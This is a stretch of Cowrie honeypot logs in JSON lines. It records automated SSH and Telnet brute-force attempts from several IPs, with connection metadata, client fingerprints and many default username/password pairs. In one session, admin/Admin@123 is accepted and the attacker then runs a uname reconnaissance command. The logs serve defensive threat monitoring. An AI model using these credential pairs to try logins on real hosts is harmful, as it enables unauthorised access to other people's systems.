{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:16.102895Z","src_ip":"172.237.20.62","session":"87943a8e1f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:16.131608Z","src_ip":"176.65.132.129","session":"c5befdf730c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:16.377450Z","src_ip":"176.65.132.129","session":"c5befdf730c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:17.462623Z","src_ip":"176.65.132.129","session":"c5befdf730c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.6730496883392334,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:18.951122Z","src_ip":"45.58.127.90","session":"210b7a6fe5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42420,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc40d5827b5","protocol":"ssh","message":"New connection: 176.65.132.129:42420 (159.203.135.109:22) [session: abc40d5827b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:19.424701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:19.429369Z","src_ip":"176.65.132.129","session":"abc40d5827b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:19.511928Z","src_ip":"176.65.132.129","session":"abc40d5827b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:19.923902Z","src_ip":"176.65.132.129","session":"abc40d5827b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53330,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d2d05c03ef","protocol":"ssh","message":"New connection: 80.94.92.184:53330 (10.17.0.5:22) [session: 03d2d05c03ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:20.779908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:20.907712Z","src_ip":"80.94.92.184","session":"03d2d05c03ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:20.911775Z","src_ip":"80.94.92.184","session":"03d2d05c03ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:21.008383Z","src_ip":"176.65.132.129","session":"abc40d5827b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46578,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb3110264ae8","protocol":"telnet","message":"New connection: 45.58.127.90:46578 (10.17.0.5:23) [session: bb3110264ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:21.205028Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:22.605472Z","src_ip":"80.94.92.184","session":"03d2d05c03ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42428,"dst_ip":"159.203.135.109","dst_port":22,"session":"870ca6b23b5d","protocol":"ssh","message":"New connection: 176.65.132.129:42428 (159.203.135.109:22) [session: 870ca6b23b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:22.950776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:22.955613Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.038172Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.285538Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.483109Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.486874Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.573723Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:23.578024Z","src_ip":"176.65.132.129","session":"870ca6b23b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:24.176218Z","src_ip":"80.94.92.184","session":"03d2d05c03ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33526,"dst_ip":"159.203.135.109","dst_port":22,"session":"82b0d35dbf5c","protocol":"ssh","message":"New connection: 172.237.20.62:33526 (159.203.135.109:22) [session: 82b0d35dbf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:25.373613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:25.378630Z","src_ip":"172.237.20.62","session":"82b0d35dbf5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:25.539939Z","src_ip":"172.237.20.62","session":"82b0d35dbf5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:26.028841Z","src_ip":"172.237.20.62","session":"82b0d35dbf5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4c4ff7521d","protocol":"ssh","message":"New connection: 176.65.132.129:57352 (159.203.135.109:22) [session: 3c4c4ff7521d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:26.320385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:26.377720Z","src_ip":"176.65.132.129","session":"3c4c4ff7521d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:26.459263Z","src_ip":"176.65.132.129","session":"3c4c4ff7521d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:26.751273Z","src_ip":"176.65.132.129","session":"3c4c4ff7521d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:27.192816Z","src_ip":"172.237.20.62","session":"82b0d35dbf5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:27.834777Z","src_ip":"176.65.132.129","session":"3c4c4ff7521d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57382,"dst_ip":"159.203.135.109","dst_port":22,"session":"905f586e8911","protocol":"ssh","message":"New connection: 176.65.132.129:57382 (159.203.135.109:22) [session: 905f586e8911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:29.863069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:29.867292Z","src_ip":"176.65.132.129","session":"905f586e8911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:29.949886Z","src_ip":"176.65.132.129","session":"905f586e8911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:30.196191Z","src_ip":"176.65.132.129","session":"905f586e8911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:31.280520Z","src_ip":"176.65.132.129","session":"905f586e8911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57406,"dst_ip":"159.203.135.109","dst_port":22,"session":"50a95fefee14","protocol":"ssh","message":"New connection: 176.65.132.129:57406 (159.203.135.109:22) [session: 50a95fefee14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:33.211585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:33.217073Z","src_ip":"176.65.132.129","session":"50a95fefee14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:33.299636Z","src_ip":"176.65.132.129","session":"50a95fefee14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:33.549000Z","src_ip":"176.65.132.129","session":"50a95fefee14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:34.634378Z","src_ip":"176.65.132.129","session":"50a95fefee14","protocol":"ssh"}
